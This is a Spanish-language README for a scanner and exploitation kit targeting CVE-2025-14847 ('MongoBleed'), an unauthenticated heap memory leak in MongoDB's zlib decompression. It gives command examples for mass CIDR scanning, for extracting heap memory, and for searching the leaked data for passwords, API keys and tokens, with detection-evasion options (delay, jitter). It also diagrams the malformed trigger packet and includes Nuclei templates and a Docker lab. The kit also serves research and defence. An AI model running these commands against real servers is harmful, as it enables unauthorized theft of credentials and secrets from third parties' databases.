
CVE-2025-14847 (MongoBleed) scanner y herramienta de explotación. Fuga de memoria heap de MongoDB no autenticada mediante descompresión zlib. Incluye detección, extracción de memoria, análisis de credenciales, escaneo CIDR/lote, plantillas Nuclei y laboratorio CTF.
CVE-2025-14847 Escáner y Kit de Explotación
Un kit de investigación de seguridad para MongoBleed, una fuga de memoria crítica no autenticada en la descompresión zlib de MongoDB que permite a atacantes extraer datos sensibles de la memoria heap del servidor sin autenticación.
╔╦╗┌─┐┌┐┌┌─┐┌─┐╔╗ ┬ ┌─┐┌─┐┌┬┐
║║║│ │││││ ┬│ │╠╩╗│ ├┤ ├┤ ││
╩ ╩└─┘┘└┘└─┘└─┘╚═╝┴─┘└─┘└─┘─┴┘
CVE-2025-14847 Scanner & Exploit
# Sin dependencias externas -- solo biblioteca estándar de Python 3
cd cli
# Detectar si un objetivo es vulnerable (acción por defecto)
python mongobleed.py -t localhost:27017
# Escanear toda una subred
python mongobleed.py -t 192.168.1.0/24
# Extraer memoria y analizar en busca de credenciales
python mongobleed.py -t target:27017 -e --credentials
# Modo seguro -- solo detección, sin explotación
python mongobleed.py -t target:27017 -s
MongoBleed/
├── cli/ # Herramienta CLI de escaneo y explotación
│ ├── mongobleed.py # Herramienta CLI principal
│ ├── requirements.txt # Dependencias Python (solo stdlib)
│ └── README.md # Documentación CLI
├── lab/ # Entorno de laboratorio CTF basado en Docker
│ ├── docker-compose.yml # Configuración multi-contenedor para el laboratorio
│ ├── vulnerable/ # Configuraciones vulnerables de MongoDB
│ ├── patched/ # MongoDB parcheado para comparación
│ ├── no-zlib/ # No explotable (zlib deshabilitado)
│ ├── monitoring/ # Panel de visualización de ataques
│ ├── warmup-heap.sh # Poblar el heap con datos sensibles
│ └── README.md # Instrucciones de configuración del laboratorio
├── nuclei/ # Plantillas de escaneo Nuclei
│ ├── CVE-2025-14847.yaml # Plantilla de explotación activa
│ ├── CVE-2025-14847-safe.yaml # Plantilla de detección segura
│ └── README.md # Documentación de plantillas Nuclei
├── docs/ # Documentación educativa
│ ├── README.md # Índice de rutas de aprendizaje
│ ├── 01-fundamentals.md # Conceptos básicos de MongoDB y memoria
│ ├── 02-vulnerability.md # Inmersión profunda en CVE-2025-14847
│ ├── 03-exploitation.md # Explotación práctica
│ ├── 04-detection.md # Caza y detección
│ └── 05-defense.md # Estrategias de mitigación
└── README.md # Este archivo
192.168.1.0/24, 10.0.0.0/16:27018)# Comprobar un solo objetivo
python mongobleed.py -t localhost:27017
# Comprobar con salida detallada
python mongobleed.py -t localhost:27017 -v
# Modo seguro -- solo detección, nunca envía payload de explotación
python mongobleed.py -t localhost:27017 -s
# Mostrar información de versión
python mongobleed.py -t localhost:27017 --version
# Escanear una subred /24
python mongobleed.py -t 192.168.1.0/24
# CIDR con puerto personalizado
python mongobleed.py -t 10.0.0.0/24:27018
# Escanear desde archivo de objetivos (los rangos CIDR en el archivo se expanden)
python mongobleed.py -T targets.txt -j 20 -o results.json
# El archivo de objetivos puede contener IPs, host:puerto y rangos CIDR
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017
# Extraer memoria (rango de offset por defecto 20-8192)
python mongobleed.py -t target:27017 -e
# Rango de offset personalizado
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500
# Extracción continua (Ctrl+C para detener)
python mongobleed.py -t target:27017 --continuous
# Forzar extracción incluso si la comprobación de versión no es concluyente
python mongobleed.py -t target:27017 -e --force
# Analizar memoria filtrada en busca de credenciales y secretos
python mongobleed.py -t target:27017 -e --credentials
# Analizar específicamente en busca de tokens
python mongobleed.py -t target:27017 -e --tokens
# Extraer cadenas imprimibles
python mongobleed.py -t target:27017 -e --strings
# Salida en volcado hexadecimal
python mongobleed.py -t target:27017 -e --hexdump
# Añadir retardo entre solicitudes (milisegundos)
python mongobleed.py -t target:27017 -e --delay 500
# Jitter aleatorio sobre el retardo
python mongobleed.py -t target:27017 -e --delay 1000 --jitter
# Solo detección segura
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017
# Detección activa
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017
# Escanear múltiples objetivos
nuclei -t nuclei/ -l targets.txt
# Iniciar todos los contenedores
cd lab && docker compose up -d
# Servicios:
# - localhost:27017 MongoDB 4.4.29 (Vulnerable + zlib)
# - localhost:27018 MongoDB 6.0.26 (Vulnerable + zlib)
# - localhost:27019 MongoDB 8.0.16 (Vulnerable + zlib)
# - localhost:27020 MongoDB 8.0.17 (Parcheado)
# - localhost:27021 MongoDB 8.0.16 (Sin zlib - no explotable)
# - localhost:8080 Panel de Monitoreo
# Calentar el heap con datos sensibles antes de la explotación
./warmup-heap.sh 27017 50
# Ejecutar exploit contra el laboratorio
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials
Objetivo: -t, --target TARGET Host:puerto objetivo o rango CIDR (ej. 192.168.1.0/24) -T, --targets FILE Archivo con lista de objetivos (soporta CIDR por línea)
Detección: --detect Detectar si el objetivo es vulnerable (acción por defecto) --version Mostrar versión de MongoDB -s, --safe Modo seguro - solo detección, sin explotación
Explotación: -e, --extract Extraer memoria mediante escaneo de offsets --min-offset N Offset mínimo a sondear (por defecto: 20) --max-offset N Offset máximo a sondear (por defecto: 8192) --continuous Modo de extracción continua --force Forzar extracción incluso si falla la comprobación de versión
Análisis: --credentials Analizar en busca de credenciales --tokens Analizar en busca de tokens --strings Extraer cadenas imprimibles --hexdump Mostrar volcado hexadecimal
Evasión: --delay MS Retardo entre solicitudes (milisegundos) --jitter Jitter aleatorio en el retardo
Salida: -o, --output FILE Archivo de salida (JSON) -v, --verbose Salida detallada -q, --quiet Modo silencioso --json Salida JSON --no-color Deshabilitar colores
Conexión: --timeout SECS Tiempo de espera de conexión (por defecto: 10) -j, --threads N Hilos para escaneo por lotes (por defecto: 10)
La herramienta busca en la memoria extraída los siguientes patrones:
MongoBleed explota una falla en la descompresión de mensajes zlib de MongoDB (message_compressor_zlib.cpp). El código vulnerable devuelve el tamaño del búfer asignado en lugar de la longitud real descomprimida, permitiendo a los atacantes leer memoria heap no inicializada.
1. CONECTAR (sin autenticación requerida)
↓
2. ENVIAR OP_COMPRESSED MALFORMADO
┌──────────────────────────────────┐
│ originalOpcode: OP_MSG (2013) │
│ uncompressedSize: INFLADO │ ← Disparador del bug
│ compressorId: zlib (2) │
│ compressedMessage: [datos pequeños] │
└──────────────────────────────────┘
↓
3. EL SERVIDOR ASIGNA BÚFER SOBREDIMENSIONADO
[ datos reales pequeños | memoria heap no inicializada ]
↓
4. EL ANALIZADOR BSON LEE BASURA DEL HEAP
La longitud inflada del documento hace que el analizador
lea más allá de los datos reales dentro de la memoria heap
↓
5. LA RESPUESTA DE ERROR FILTRA MEMORIA
"invalid BSON field name 'password=secret123...'"
Este kit se proporciona únicamente con fines de pruebas de seguridad autorizadas, investigación y educación. Úselo solo contra sistemas que posea o para los que tenga permiso explícito de prueba. El acceso no autorizado a sistemas informáticos es ilegal.
Licencia MIT
| Tipo | Patrón de Ejemplo |
|---|
| contraseña | password: value, passwd=value |
| secreto | secret: value |
| clave_api | api_key: sk_live_... |
| token | token: ... (16+ caracteres) |
| token_bearer | Bearer eyJ... |
| jwt | eyJ... (JWT en Base64) |
| uri_mongodb | mongodb://user:pass@host |
| uri_postgres | postgresql://... |
| uri_redis | redis://... |
| clave_stripe | sk_live_... |
| clave_openai | sk-... (48+ caracteres) |
| clave_aws | AKIA... |
| token_github | ghp_... |
| token_slack | xoxb-..., xoxp-... |
| bandera_ctf | FLAG{...} |
| Elemento | Valor |
|---|
| CVE | CVE-2025-14847 |
| Nombre | MongoBleed |
| CWE | CWE-130 (Manejo Inadecuado del Parámetro de Longitud) |
| CVSS | 8.7 (Alto) |
| Tipo | Fuga de Memoria No Autenticada |
| Divulgado | 19 de diciembre de 2025 |
| Explotado en la naturaleza | 29 de diciembre de 2025 |
| Rama | Vulnerable | Parcheada |
|---|
| 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 |
| 4.4.x | 4.4.0 - 4.4.29 | 4.4.30 |
| 4.2.x | Todas las versiones | Fin de vida - Sin parche |
| 4.0.x | Todas las versiones | Fin de vida - Sin parche |
| 3.6.x | Todas las versiones | Fin de vida - Sin parche |